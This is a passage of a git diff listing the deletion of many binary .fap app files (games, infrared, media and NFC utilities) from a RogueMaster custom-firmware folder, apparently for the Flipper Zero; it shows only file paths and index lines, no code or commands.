RM)/RogueMaster/Games/insults.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/jetpack.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/jetpack.fap deleted file mode 100644 index f05ceff8c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/jetpack.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/kcline.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/kcline.fap deleted file mode 100644 index 4f8fc6685..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/kcline.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap deleted file mode 100644 index 842b38faa..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap deleted file mode 100644 index b5f21661f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/mandelbrotset.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/mandelbrotset.fap deleted file mode 100644 index d564c5e04..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/mandelbrotset.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/matagotchi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/matagotchi.fap deleted file mode 100644 index 8501a9cb4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/matagotchi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper.fap deleted file mode 100644 index 662e4633a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap deleted file mode 100644 index 5215cb1cc..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/mode7_demo.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/mode7_demo.fap deleted file mode 100644 index c023c293a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/mode7_demo.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/montyhall.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/montyhall.fap deleted file mode 100644 index a76e2a772..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/montyhall.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/multi_counter.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/multi_counter.fap deleted file mode 100644 index 83f371c23..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/multi_counter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/nu_pogodi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/nu_pogodi.fap deleted file mode 100644 index d5eb4d252..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/nu_pogodi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap deleted file mode 100644 index 9baa65401..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/paint.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/paint.fap deleted file mode 100644 index ba431fd97..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/paint.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/paper_plane.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/paper_plane.fap deleted file mode 100644 index 38bb75910..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/paper_plane.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/pinball0.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/pinball0.fap deleted file mode 100644 index 533cac551..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/pinball0.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/platformer_game.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/platformer_game.fap deleted file mode 100644 index c86097edd..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/platformer_game.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/pong.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/pong.fap deleted file mode 100644 index 98deebc7f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/pong.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/quadrastic.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/quadrastic.fap deleted file mode 100644 index dca08974c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/quadrastic.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap deleted file mode 100644 index 5651aef12..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/race.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/race.fap deleted file mode 100644 index a0e572e8c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/race.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/reaction_time.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/reaction_time.fap deleted file mode 100644 index ced581302..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/reaction_time.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/reactiontest.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/reactiontest.fap deleted file mode 100644 index ed46df704..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/reactiontest.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/reversi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/reversi.fap deleted file mode 100644 index 1377bae36..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/reversi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors.fap deleted file mode 100644 index 8ffbbdecd..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors_2.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors_2.fap deleted file mode 100644 index db3c13745..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors_2.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/roots_of_life.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/roots_of_life.fap deleted file mode 100644 index b3edca7ab..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/roots_of_life.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/rubiks_cube_scrambler.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/rubiks_cube_scrambler.fap deleted file mode 100644 index 3646674c4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/rubiks_cube_scrambler.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap deleted file mode 100644 index e311bd2f6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/scorched_tanks.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/scorched_tanks.fap deleted file mode 100644 index 2aa36fcca..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/scorched_tanks.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/secret_toggle.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/secret_toggle.fap deleted file mode 100644 index 65aa38382..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/secret_toggle.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/simon_says.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/simon_says.fap deleted file mode 100644 index 4b4ee8e8b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/simon_says.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/slotmachine.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/slotmachine.fap deleted file mode 100644 index 419da7617..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/slotmachine.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/snake.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/snake.fap deleted file mode 100644 index 3ea4f9b5c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/snake.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/snake20.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/snake20.fap deleted file mode 100644 index c50c98fef..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/snake20.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/sokoban.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/sokoban.fap deleted file mode 100644 index f51756488..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/sokoban.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/solitaire.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/solitaire.fap deleted file mode 100644 index 1f2ad3c10..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/solitaire.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/space_impact.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/space_impact.fap deleted file mode 100644 index 7f7015091..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/space_impact.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/space_invaders.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/space_invaders.fap deleted file mode 100644 index c2eda0fc0..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/space_invaders.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/stratagem.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/stratagem.fap deleted file mode 100644 index 8b8b6596a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/stratagem.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/sudoku.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/sudoku.fap deleted file mode 100644 index f98cdd9cd..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/sudoku.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/super_chip.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/super_chip.fap deleted file mode 100644 index 15e86f1f1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/super_chip.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tama_p1.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tama_p1.fap deleted file mode 100644 index 6e75ec560..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tama_p1.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap deleted file mode 100644 index 11c6cbbd3..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap deleted file mode 100644 index c9cf5e525..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap deleted file mode 100644 index 083a75cbc..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tetris_modern.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tetris_modern.fap deleted file mode 100644 index 3083fc102..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tetris_modern.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap deleted file mode 100644 index 346705729..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tictactoe.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tictactoe.fap deleted file mode 100644 index 4d9ebb28b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/tictactoe.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/trex_runner.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/trex_runner.fap deleted file mode 100644 index 5b6b79f0a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/trex_runner.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/ultimate_tic_tac_toe.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/ultimate_tic_tac_toe.fap deleted file mode 100644 index 7b1b9fbb0..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/ultimate_tic_tac_toe.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/umpire_indicator.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/umpire_indicator.fap deleted file mode 100644 index 0093b7e77..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/umpire_indicator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/vexed.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/vexed.fap deleted file mode 100644 index d8955ff93..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/vexed.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/videopoker.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/videopoker.fap deleted file mode 100644 index 960405511..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/videopoker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/yapinvaders.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/yapinvaders.fap deleted file mode 100644 index 32694fc3b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/yapinvaders.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/yatzee.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/yatzee.fap deleted file mode 100644 index ed4f61553..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/yatzee.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/zero.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/zero.fap deleted file mode 100644 index f80625e03..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/zero.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/zombiez.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/zombiez.fap deleted file mode 100644 index 8ffbe0e14..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/zombiez.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap deleted file mode 100644 index 36ce9b5e6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/flip_rob.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flip_rob.fap deleted file mode 100644 index 856a58f11..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/flip_rob.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap deleted file mode 100644 index 173cf7e1f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap deleted file mode 100644 index 6fe70f540..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_decoder.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_decoder.fap deleted file mode 100644 index cff00df94..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_decoder.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_intervalometer.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_intervalometer.fap deleted file mode 100644 index ed216c506..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_intervalometer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_remote.fap deleted file mode 100644 index 4fc44e0b3..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_remote.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_scope.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_scope.fap deleted file mode 100644 index d2870eb30..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_scope.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/irblaster.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/irblaster.fap deleted file mode 100644 index 907f7da0e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/irblaster.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/mitsubishi_ac_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/mitsubishi_ac_remote.fap deleted file mode 100644 index c06d4e4c2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/mitsubishi_ac_remote.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap deleted file mode 100644 index 6527d5e2d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap deleted file mode 100644 index 241a3b9f6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap b/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap deleted file mode 100644 index 7e5645d0f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Main/js_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Main/js_app.fap deleted file mode 100644 index 5a7560496..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Main/js_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/bpm_tapper.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/bpm_tapper.fap deleted file mode 100644 index 3fc0d2167..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/bpm_tapper.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/dvd_screensaver.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/dvd_screensaver.fap deleted file mode 100644 index fcd34c94b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/dvd_screensaver.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap deleted file mode 100644 index 0223dc9a7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/fmf2usb_midi.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/fmf2usb_midi.fap deleted file mode 100644 index d870530ff..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/fmf2usb_midi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/image_viewer.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/image_viewer.fap deleted file mode 100644 index f27e5bb6b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/image_viewer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/metronome.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/metronome.fap deleted file mode 100644 index 736f430e9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/metronome.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/midi_rx.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/midi_rx.fap deleted file mode 100644 index 70b2f1273..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/midi_rx.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/midiocarina.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/midiocarina.fap deleted file mode 100644 index 5fe6930b9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/midiocarina.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/morse_code.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/morse_code.fap deleted file mode 100644 index 589d0de91..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/morse_code.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/music_beeper.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/music_beeper.fap deleted file mode 100644 index 4deb8f48e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/music_beeper.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/music_player.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/music_player.fap deleted file mode 100644 index 5960c9e8c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/music_player.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap deleted file mode 100644 index 9e7ef92ec..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/ocarina.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/ocarina.fap deleted file mode 100644 index 77f5791ed..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/ocarina.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam.fap deleted file mode 100644 index e8db34ba0..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/sam.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_no.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_no.fap deleted file mode 100644 index 4bb8da1ba..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_no.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_wtf.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_wtf.fap deleted file mode 100644 index 36a70fa51..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_wtf.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_yes.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_yes.fap deleted file mode 100644 index 42a3127e2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_yes.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/text2sam.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/text2sam.fap deleted file mode 100644 index c772e8f6a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/text2sam.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/tuning_fork.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/tuning_fork.fap deleted file mode 100644 index 6c55ee13a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/tuning_fork.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/video_player.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/video_player.fap deleted file mode 100644 index 3601109cf..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/video_player.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/wav_player.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/wav_player.fap deleted file mode 100644 index 660cc42d2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Media/wav_player.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap deleted file mode 100644 index 61c87bac4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/cyborg_detector.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/cyborg_detector.fap deleted file mode 100644 index 3ec4204b6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/cyborg_detector.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap deleted file mode 100644 index 9b6fd4344..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap deleted file mode 100644 index f67207b12..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap deleted file mode 100644 index e29025dbe..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap deleted file mode 100644 index d410bcb4d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap deleted file mode 100644 index 96968b2e0..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap deleted file mode 100644 index db4c26bc6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap deleted file mode 100644 index 7115a7063..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_eink.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_eink.fap deleted file mode 100644 index 1afa1f5f5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_eink.fap and /dev/null differ diff --git a/Applications/Custom (UL, 